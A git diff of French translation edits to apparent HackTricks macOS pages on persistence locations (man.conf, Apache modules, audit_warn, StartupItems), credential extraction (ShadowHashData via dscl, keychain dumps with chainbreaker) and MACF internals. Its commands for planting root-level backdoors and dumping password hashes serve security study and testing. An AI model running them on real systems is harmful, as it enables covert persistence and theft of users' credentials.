/tmp/rule.plist < @@ -1393,37 +1393,37 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -Le **`evaluate-mechanisms`** indiquera au framework d'autorisation qu'il devra **appeler un mĂ©canisme externe pour l'autorisation**. De plus, **`privileged`** fera en sorte qu'il soit exĂ©cutĂ© par root. +Le **`evaluate-mechanisms`** indiquera au cadre d'autorisation qu'il aura besoin de **faire appel Ă  un mĂ©canisme externe pour l'autorisation**. De plus, **`privileged`** le fera exĂ©cuter par root. DĂ©clenchez-le avec : ```bash security authorize com.asdf.asdf ``` -Et ensuite le groupe **staff devrait avoir un accĂšs sudo** (lire `/etc/sudoers` pour confirmer). +Et ensuite, le **groupe staff devrait avoir un accĂšs sudo** (lisez `/etc/sudoers` pour confirmer). ### Man.conf -Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) * Mais vous devez ĂȘtre root et l'utilisateur doit utiliser man -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * **`/private/etc/man.conf`** -* Requis root -* **`/private/etc/man.conf`**: Chaque fois que man est utilisĂ© +* Root requis +* **`/private/etc/man.conf`** : Chaque fois que man est utilisĂ© #### Description & Exploit -Le fichier de configuration **`/private/etc/man.conf`** indique le binaire/script Ă  utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exĂ©cutable pourrait ĂȘtre modifiĂ© de sorte que chaque fois que l'utilisateur utilise man pour lire des documents, une porte dĂ©robĂ©e est exĂ©cutĂ©e. +Le fichier de configuration **`/private/etc/man.conf`** indique le binaire/script Ă  utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exĂ©cutable pourrait ĂȘtre modifiĂ© pour que chaque fois que l'utilisateur utilise man pour lire des docs, une porte dĂ©robĂ©e soit exĂ©cutĂ©e. -Par exemple, dĂ©fini dans **`/private/etc/man.conf`**: +Par exemple, dĂ©fini dans **`/private/etc/man.conf`** : ``` MANPAGER /tmp/view ``` -Et ensuite crĂ©ez `/tmp/view` comme suit : +Et ensuite crĂ©ez `/tmp/view` comme : ```bash #!/bin/zsh @@ -1433,12 +1433,12 @@ touch /tmp/manconf ``` ### Apache2 -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -* Utile pour contourner le bac Ă  sable: [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) * Mais vous devez ĂȘtre root et apache doit ĂȘtre en cours d'exĂ©cution -* Contournement de TCC: [🔮](https://emojipedia.org/large-red-circle) -* Httpd n'a pas d'attributs +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) +* Httpd n'a pas d'autorisations #### Emplacement @@ -1448,7 +1448,7 @@ touch /tmp/manconf #### Description & Exploit -Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne comme suit: +Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne telle que : {% code overflow="wrap" %} ```bash @@ -1456,7 +1456,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -De cette façon, vos modules compilĂ©s seront chargĂ©s par Apache. La seule condition est que vous deviez **le signer avec un certificat Apple valide**, ou vous deviez **ajouter un nouveau certificat de confiance** dans le systĂšme et **le signer** avec celui-ci. +De cette façon, vos modules compilĂ©s seront chargĂ©s par Apache. La seule chose est que vous devez soit **le signer avec un certificat Apple valide**, soit **ajouter un nouveau certificat de confiance** dans le systĂšme et **le signer** avec celui-ci. Ensuite, si nĂ©cessaire, pour vous assurer que le serveur sera dĂ©marrĂ©, vous pourriez exĂ©cuter : ```bash @@ -1478,9 +1478,9 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) -* Utile pour contourner le bac Ă  sable : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) * Mais vous devez ĂȘtre root, auditd doit ĂȘtre en cours d'exĂ©cution et provoquer un avertissement -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement @@ -1490,22 +1490,24 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit. #### Description & Exploit -Chaque fois qu'auditd dĂ©tecte un avertissement, le script **`/etc/security/audit_warn`** est **exĂ©cutĂ©**. Vous pourriez donc y ajouter votre charge utile. +Chaque fois qu'auditd dĂ©tecte un avertissement, le script **`/etc/security/audit_warn`** est **exĂ©cutĂ©**. Vous pourriez donc y ajouter votre payload. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +Vous pourriez forcer un avertissement avec `sudo audit -n`. + ### ÉlĂ©ments de dĂ©marrage {% hint style="danger" %} **Ceci est obsolĂšte, donc rien ne devrait ĂȘtre trouvĂ© dans ces rĂ©pertoires.** {% endhint %} -Le **StartupItem** est un rĂ©pertoire qui devrait ĂȘtre positionnĂ© soit dans `/Library/StartupItems/` ou `/System/Library/StartupItems/`. Une fois ce rĂ©pertoire Ă©tabli, il doit contenir deux fichiers spĂ©cifiques : +Le **StartupItem** est un rĂ©pertoire qui doit ĂȘtre positionnĂ© soit dans `/Library/StartupItems/`, soit dans `/System/Library/StartupItems/`. Une fois ce rĂ©pertoire Ă©tabli, il doit comprendre deux fichiers spĂ©cifiques : 1. Un **script rc** : Un script shell exĂ©cutĂ© au dĂ©marrage. -2. Un fichier **plist**, nommĂ© spĂ©cifiquement `StartupParameters.plist`, qui contient divers paramĂštres de configuration. +2. Un **fichier plist**, spĂ©cifiquement nommĂ© `StartupParameters.plist`, qui contient divers paramĂštres de configuration. -Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont correctement placĂ©s Ă  l'intĂ©rieur du rĂ©pertoire **StartupItem** pour que le processus de dĂ©marrage les reconnaisse et les utilise. +Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont correctement placĂ©s dans le rĂ©pertoire **StartupItem** pour que le processus de dĂ©marrage puisse les reconnaĂźtre et les utiliser. {% tabs %} {% tab title="StartupParameters.plist" %} @@ -1527,30 +1529,7 @@ Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont corre ``` {% endtab %} -{% tab title="superservicename" %} - -### Emplacements de dĂ©marrage automatique macOS - -Les emplacements suivants sont des endroits oĂč des programmes peuvent ĂȘtre configurĂ©s pour dĂ©marrer automatiquement au dĂ©marrage de macOS : - -1. **Dossiers de dĂ©marrage automatique :** - - `/Library/LaunchAgents` - - `/Library/LaunchDaemons` - - `/Library/StartupItems` - - `/System/Library/LaunchAgents` - - `/System/Library/LaunchDaemons` - - `/System/Library/StartupItems` - - `/Users//Library/LaunchAgents` - - `/Users//Library/LaunchDaemons` - -2. **Autres emplacements :** - - `crontab` - - `launchd` - - `login items` - -Assurez-vous de vĂ©rifier ces emplacements pour dĂ©tecter et gĂ©rer les programmes indĂ©sirables configurĂ©s pour dĂ©marrer automatiquement sur votre systĂšme macOS. - -{% endtab %} +{% tab title="nomdusuperservice" %} ```bash #!/bin/sh . /etc/rc.common @@ -1575,47 +1554,47 @@ RunService "$1" ### ~~emond~~ {% hint style="danger" %} -Je ne trouve pas ce composant dans mon macOS, pour plus d'informations consultez le writeup +Je ne peux pas trouver ce composant dans mon macOS, donc pour plus d'infos, consultez le writeup {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -Introduit par Apple, **emond** est un mĂ©canisme de journalisation qui semble ĂȘtre sous-dĂ©veloppĂ© ou peut-ĂȘtre abandonnĂ©, mais reste accessible. Bien que peu bĂ©nĂ©fique pour un administrateur Mac, ce service obscur pourrait servir de mĂ©thode de persistance subtile pour les acteurs de menace, probablement inaperçue par la plupart des administrateurs macOS. +Introduit par Apple, **emond** est un mĂ©canisme de journalisation qui semble ĂȘtre sous-dĂ©veloppĂ© ou peut-ĂȘtre abandonnĂ©, mais il reste accessible. Bien qu'il ne soit pas particuliĂšrement bĂ©nĂ©fique pour un administrateur Mac, ce service obscur pourrait servir de mĂ©thode de persistance subtile pour les acteurs de la menace, probablement inaperçu par la plupart des administrateurs macOS. -Pour ceux qui sont conscients de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du systĂšme pour ce service recherche des scripts Ă  exĂ©cuter dans un seul rĂ©pertoire. Pour inspecter cela, la commande suivante peut ĂȘtre utilisĂ©e : +Pour ceux qui sont au courant de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du systĂšme pour ce service recherche des scripts Ă  exĂ©cuter dans un seul rĂ©pertoire. Pour inspecter cela, la commande suivante peut ĂȘtre utilisĂ©e : ```bash ls -l /private/var/db/emondClients ``` ### ~~XQuartz~~ -Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) #### Emplacement * **`/opt/X11/etc/X11/xinit/privileged_startx.d`** -* NĂ©cessite les droits d'administrateur -* **DĂ©clencheur**: Avec XQuartz +* Root requis +* **DĂ©clencheur** : Avec XQuartz #### Description & Exploit -XQuartz n'est **plus installĂ© dans macOS**, donc si vous voulez plus d'informations, consultez le writeup. +XQuartz **n'est plus installĂ© sur macOS**, donc si vous voulez plus d'infos, consultez l'Ă©criture. ### ~~kext~~ {% hint style="danger" %} -Il est tellement compliquĂ© d'installer un kext mĂȘme en tant qu'administrateur que je ne considĂ©rerai pas cela comme une Ă©chappatoire des sandbox ou mĂȘme pour la persistance (Ă  moins que vous ayez une faille d'exploitation) +C'est tellement compliquĂ© d'installer un kext mĂȘme en tant que root que je ne considĂ©rerai pas cela pour Ă©chapper aux sandboxes ou mĂȘme pour la persistance (Ă  moins que vous ayez un exploit) {% endhint %} #### Emplacement -Pour installer un KEXT en tant qu'Ă©lĂ©ment de dĂ©marrage, il doit ĂȘtre **installĂ© dans l'un des emplacements suivants**: +Pour installer un KEXT en tant qu'Ă©lĂ©ment de dĂ©marrage, il doit ĂȘtre **installĂ© dans l'un des emplacements suivants** : * `/System/Library/Extensions` -* Fichiers KEXT intĂ©grĂ©s au systĂšme d'exploitation OS X. +* Fichiers KEXT intĂ©grĂ©s dans le systĂšme d'exploitation OS X. * `/Library/Extensions` * Fichiers KEXT installĂ©s par des logiciels tiers -Vous pouvez lister les fichiers kext actuellement chargĂ©s avec: +Vous pouvez lister les fichiers kext actuellement chargĂ©s avec : ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1623,41 +1602,41 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -Pour plus d'informations sur [**les extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Pour plus d'informations sur [**les extensions du noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ -Writeup : [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### Emplacement * **`/usr/local/bin/amstoold`** -* NĂ©cessite les droits d'administration +* Root requis #### Description & Exploitation Apparemment, le `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` utilisait ce binaire tout en exposant un service XPC... le problĂšme est que le binaire n'existait pas, donc vous pouviez y placer quelque chose et lorsque le service XPC Ă©tait appelĂ©, votre binaire serait exĂ©cutĂ©. -Je ne trouve plus cela dans mon macOS. +Je ne peux plus le trouver sur mon macOS. ### ~~xsanctl~~ -Writeup : [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### Emplacement * **`/Library/Preferences/Xsan/.xsanrc`** -* NĂ©cessite les droits d'administration +* Root requis * **DĂ©clencheur** : Lorsque le service est exĂ©cutĂ© (rarement) #### Description & exploitation -Apparemment, il n'est pas trĂšs courant d'exĂ©cuter ce script et je ne l'ai mĂȘme pas trouvĂ© dans mon macOS, donc si vous voulez plus d'informations, consultez le writeup. +Apparemment, il n'est pas trĂšs courant d'exĂ©cuter ce script et je n'ai mĂȘme pas pu le trouver sur mon macOS, donc si vous voulez plus d'infos, consultez l'Ă©criture. ### ~~/etc/rc.common~~ {% hint style="danger" %} -**Cela ne fonctionne pas dans les versions rĂ©centes de MacOS** +**Cela ne fonctionne pas dans les versions modernes de MacOS** {% endhint %} Il est Ă©galement possible de placer ici **des commandes qui seront exĂ©cutĂ©es au dĂ©marrage.** Exemple de script rc.common rĂ©gulier : @@ -1759,16 +1738,16 @@ esac * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) {% hint style="success" %} -Apprenez et pratiquez le piratage AWS :[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Apprenez et pratiquez le piratage GCP : [**Formation HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Apprenez et pratiquez le hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Soutenez HackTricks +Soutenir HackTricks -* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts GitHub. +* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) ! +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts github.
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index ba39a33c7..315eb052d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -1,8 +1,8 @@ # macOS Sensitive Locations & Interesting Daemons {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -38,9 +38,15 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex ``` {% endcode %} -### Dump de trousseau +Une autre façon d'obtenir le `ShadowHashData` d'un utilisateur est d'utiliser `dscl`: ``sudo dscl . -read /Users/`whoami` ShadowHashData`` -Notez que lors de l'utilisation du binaire de sĂ©curitĂ© pour **extraire les mots de passe dĂ©chiffrĂ©s**, plusieurs invites demanderont Ă  l'utilisateur d'autoriser cette opĂ©ration. +### /etc/master.passwd + +Ce fichier est **uniquement utilisĂ©** lorsque le systĂšme fonctionne en **mode utilisateur unique** (donc pas trĂšs frĂ©quemment). + +### Keychain Dump + +Notez que lors de l'utilisation du binaire de sĂ©curitĂ© pour **extraire les mots de passe dĂ©chiffrĂ©s**, plusieurs invites demanderont Ă  l'utilisateur de permettre cette opĂ©ration. ```bash #security security dump-trust-settings [-s] [-d] #List certificates @@ -71,7 +77,7 @@ sudo ./keychaindump [**Chainbreaker**](https://github.com/n0fate/chainbreaker) peut ĂȘtre utilisĂ© pour extraire les types d'informations suivants d'un trousseau OSX de maniĂšre forensiquement valide : -* Mot de passe de trousseau hachĂ©, adaptĂ© pour le craquage avec [hashcat](https://hashcat.net/hashcat/) ou [John the Ripper](https://www.openwall.com/john/) +* Mot de passe de trousseau hachĂ©, adaptĂ© pour le cracking avec [hashcat](https://hashcat.net/hashcat/) ou [John the Ripper](https://www.openwall.com/john/) * Mots de passe Internet * Mots de passe gĂ©nĂ©riques * ClĂ©s privĂ©es @@ -119,7 +125,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1 ``` #### **Dump des clĂ©s du trousseau (avec mots de passe) en utilisant le mot de passe de l'utilisateur** -Si vous connaissez le mot de passe de l'utilisateur, vous pouvez l'utiliser pour **extraire et dĂ©chiffrer les trousseaux qui appartiennent Ă  l'utilisateur**. +Si vous connaissez le mot de passe de l'utilisateur, vous pouvez l'utiliser pour **dump et dĂ©chiffrer les trousseaux qui appartiennent Ă  l'utilisateur**. ```bash #Prompt to ask for the password python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db @@ -169,13 +175,49 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s ## PrĂ©fĂ©rences -Dans les applications macOS, les prĂ©fĂ©rences se trouvent dans **`$HOME/Library/Preferences`** et dans iOS, elles se trouvent dans `/var/mobile/Containers/Data/Application//Library/Preferences`. +Dans les applications macOS, les prĂ©fĂ©rences se trouvent dans **`$HOME/Library/Preferences`** et dans iOS, elles se trouvent dans `/var/mobile/Containers/Data/Application//Library/Preferences`. Dans macOS, l'outil cli **`defaults`** peut ĂȘtre utilisĂ© pour **modifier le fichier de prĂ©fĂ©rences**. **`/usr/sbin/cfprefsd`** revendique les services XPC `com.apple.cfprefsd.daemon` et `com.apple.cfprefsd.agent` et peut ĂȘtre appelĂ© pour effectuer des actions telles que modifier les prĂ©fĂ©rences. -## Notifications systĂšme +## OpenDirectory permissions.plist + +Le fichier `/System/Library/OpenDirectory/permissions.plist` contient des permissions appliquĂ©es sur les attributs de nƓud et est protĂ©gĂ© par SIP.\ +Ce fichier accorde des permissions Ă  des utilisateurs spĂ©cifiques par UUID (et non par uid) afin qu'ils puissent accĂ©der Ă  des informations sensibles spĂ©cifiques telles que `ShadowHashData`, `HeimdalSRPKey` et `KerberosKeys`, entre autres : +```xml +[...] +dsRecTypeStandard:Computers + +dsAttrTypeNative:ShadowHashData + + + +uuid +ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000 +permissions + +readattr +writeattr + + + +dsAttrTypeNative:KerberosKeys + + + +uuid +ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000 +permissions + +readattr +writeattr + + + +[...] +``` +## Notifications du systĂšme ### Notifications Darwin @@ -183,7 +225,7 @@ Le principal dĂ©mon pour les notifications est **`/usr/sbin/notifyd`**. Afin de Les noms utilisĂ©s pour les notifications sont des notations DNS inversĂ©es uniques et lorsqu'une notification est envoyĂ©e Ă  l'un d'eux, le(s) client(s) qui ont indiquĂ© qu'ils peuvent la gĂ©rer la recevront. -Il est possible de dumper l'Ă©tat actuel (et de voir tous les noms) en envoyant le signal SIGUSR2 au processus notifyd et en lisant le fichier gĂ©nĂ©rĂ© : `/var/run/notifyd_.status` : +Il est possible de vider l'Ă©tat actuel (et de voir tous les noms) en envoyant le signal SIGUSR2 au processus notifyd et en lisant le fichier gĂ©nĂ©rĂ© : `/var/run/notifyd_.status` : ```bash ps -ef | grep -i notifyd 0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd @@ -208,7 +250,7 @@ Le **Distributed Notification Center** dont le binaire principal est **`/usr/sbi Dans ce cas, les applications peuvent s'inscrire Ă  des **topics**. Le client gĂ©nĂ©rera un jeton en contactant les serveurs d'Apple via **`apsd`**.\ Ensuite, les fournisseurs auront Ă©galement gĂ©nĂ©rĂ© un jeton et pourront se connecter aux serveurs d'Apple pour envoyer des messages aux clients. Ces messages seront reçus localement par **`apsd`** qui relayera la notification Ă  l'application qui l'attend. -Les prĂ©fĂ©rences sont situĂ©es dans `/Library/Preferences/com.apple.apsd.plist`. +Les prĂ©fĂ©rences se trouvent dans `/Library/Preferences/com.apple.apsd.plist`. Il existe une base de donnĂ©es locale de messages situĂ©e dans macOS Ă  `/Library/Application\ Support/ApplePushService/aps.db` et dans iOS Ă  `/var/mobile/Library/ApplePushService`. Elle contient 3 tables : `incoming_messages`, `outgoing_messages` et `channel`. ```bash @@ -227,8 +269,8 @@ Ce sont des notifications que l'utilisateur devrait voir Ă  l'Ă©cran : * **`NSUserNotificationCenter`** : C'est le tableau d'affichage iOS sur MacOS. La base de donnĂ©es avec les notifications est situĂ©e dans `/var/folders//0/com.apple.notificationcenter/db2/db` {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md new file mode 100644 index 000000000..ad652b7d9 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md @@ -0,0 +1,268 @@ +# macOS MACF + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Informations de base + +**MACF** signifie **Mandatory Access Control Framework**, qui est un systĂšme de sĂ©curitĂ© intĂ©grĂ© au systĂšme d'exploitation pour aider Ă  protĂ©ger votre ordinateur. Il fonctionne en Ă©tablissant **des rĂšgles strictes sur qui ou quoi peut accĂ©der Ă  certaines parties du systĂšme**, telles que des fichiers, des applications et des ressources systĂšme. En appliquant automatiquement ces rĂšgles, MACF garantit que seuls les utilisateurs et processus autorisĂ©s peuvent effectuer des actions spĂ©cifiques, rĂ©duisant ainsi le risque d'accĂšs non autorisĂ© ou d'activitĂ©s malveillantes. + +Notez que MACF ne prend pas vraiment de dĂ©cisions, car il **intercepte** simplement les actions, laissant les dĂ©cisions aux **modules de politique** (extensions du noyau) qu'il appelle comme `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` et `mcxalr.kext`. + +### Flux + +1. Le processus effectue un appel systĂšme/trap mach +2. La fonction pertinente est appelĂ©e Ă  l'intĂ©rieur du noyau +3. La fonction appelle MACF +4. MACF vĂ©rifie les modules de politique qui ont demandĂ© Ă  accrocher cette fonction dans leur politique +5. MACF appelle les politiques pertinentes +6. Les politiques indiquent si elles autorisent ou refusent l'action + +{% hint style="danger" %} +Apple est le seul Ă  pouvoir utiliser le KPI du cadre MAC. +{% endhint %} + +### Étiquettes + +MACF utilise des **Ă©tiquettes** que les politiques utiliseront ensuite pour vĂ©rifier si elles doivent accorder un accĂšs ou non. Le code de la dĂ©claration de structure des Ă©tiquettes peut ĂȘtre [trouvĂ© ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), qui est ensuite utilisĂ© Ă  l'intĂ©rieur de la **`struct ucred`** [**ici**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) dans la partie **`cr_label`**. L'Ă©tiquette contient des indicateurs et un nombre de **slots** qui peuvent ĂȘtre utilisĂ©s par **les politiques MACF pour allouer des pointeurs**. Par exemple, Sanbox pointera vers le profil du conteneur. + +## Politiques MACF + +Une politique MACF dĂ©finit **des rĂšgles et des conditions Ă  appliquer dans certaines opĂ©rations du noyau**. + +Une extension de noyau pourrait configurer une structure `mac_policy_conf` puis l'enregistrer en appelant `mac_policy_register`. À partir de [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html): +```c +#define mpc_t struct mac_policy_conf * + +/** +@brief Mac policy configuration + +This structure specifies the configuration information for a +MAC policy module. A policy module developer must supply +a short unique policy name, a more descriptive full name, a list of label +namespaces and count, a pointer to the registered enty point operations, +any load time flags, and optionally, a pointer to a label slot identifier. + +The Framework will update the runtime flags (mpc_runtime_flags) to +indicate that the module has been registered. + +If the label slot identifier (mpc_field_off) is NULL, the Framework +will not provide label storage for the policy. Otherwise, the +Framework will store the label location (slot) in this field. + +The mpc_list field is used by the Framework and should not be +modified by policies. +*/ +/* XXX - reorder these for better aligment on 64bit platforms */ +struct mac_policy_conf { +const char *mpc_name; /** policy name */ +const char *mpc_fullname; /** full name */ +const char **mpc_labelnames; /** managed label namespaces */ +unsigned int mpc_labelname_count; /** number of managed label namespaces */ +struct mac_policy_ops *mpc_ops; /** operation vector */ +int mpc_loadtime_flags; /** load time flags */ +int *mpc_field_off; /** label slot */ +int mpc_runtime_flags; /** run time flags */ +mpc_t mpc_list; /** List reference */ +void *mpc_data; /** module data */ +}; +``` +Il est facile d'identifier les extensions du noyau configurant ces politiques en vĂ©rifiant les appels Ă  `mac_policy_register`. De plus, en vĂ©rifiant le dĂ©sassemblage de l'extension, il est Ă©galement possible de trouver la structure `mac_policy_conf` utilisĂ©e. + +Notez que les politiques MACF peuvent Ă©galement ĂȘtre enregistrĂ©es et dĂ©senregistrĂ©es **dynamiquement**. + +L'un des principaux champs de la `mac_policy_conf` est le **`mpc_ops`**. Ce champ spĂ©cifie les opĂ©rations qui intĂ©ressent la politique. Notez qu'il y en a des centaines, il est donc possible de les mettre toutes Ă  zĂ©ro et ensuite de sĂ©lectionner uniquement celles qui intĂ©ressent la politique. D'aprĂšs [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac\_policy.h.auto.html) : +```c +struct mac_policy_ops { +mpo_audit_check_postselect_t *mpo_audit_check_postselect; +mpo_audit_check_preselect_t *mpo_audit_check_preselect; +mpo_bpfdesc_label_associate_t *mpo_bpfdesc_label_associate; +mpo_bpfdesc_label_destroy_t *mpo_bpfdesc_label_destroy; +mpo_bpfdesc_label_init_t *mpo_bpfdesc_label_init; +mpo_bpfdesc_check_receive_t *mpo_bpfdesc_check_receive; +mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve; +mpo_cred_check_label_update_t *mpo_cred_check_label_update; +[...] +``` +Presque tous les hooks seront rappelĂ©s par MACF lorsque l'une de ces opĂ©rations est interceptĂ©e. Cependant, les hooks **`mpo_policy_*`** sont une exception car `mpo_hook_policy_init()` est un rappel appelĂ© lors de l'enregistrement (donc aprĂšs `mac_policy_register()`) et `mpo_hook_policy_initbsd()` est appelĂ© lors de l'enregistrement tardif une fois que le sous-systĂšme BSD a Ă©tĂ© correctement initialisĂ©. + +De plus, le hook **`mpo_policy_syscall`** peut ĂȘtre enregistrĂ© par n'importe quel kext pour exposer un appel de style **ioctl** **interface** privĂ©. Ensuite, un client utilisateur pourra appeler `mac_syscall` (#381) en spĂ©cifiant comme paramĂštres le **nom de la politique** avec un **code** entier et des **arguments** optionnels.\ +Par exemple, le **`Sandbox.kext`** utilise cela beaucoup. + +VĂ©rifier le **`__DATA.__const*`** du kext est possible pour identifier la structure `mac_policy_ops` utilisĂ©e lors de l'enregistrement de la politique. Il est possible de la trouver car son pointeur est Ă  un dĂ©calage Ă  l'intĂ©rieur de 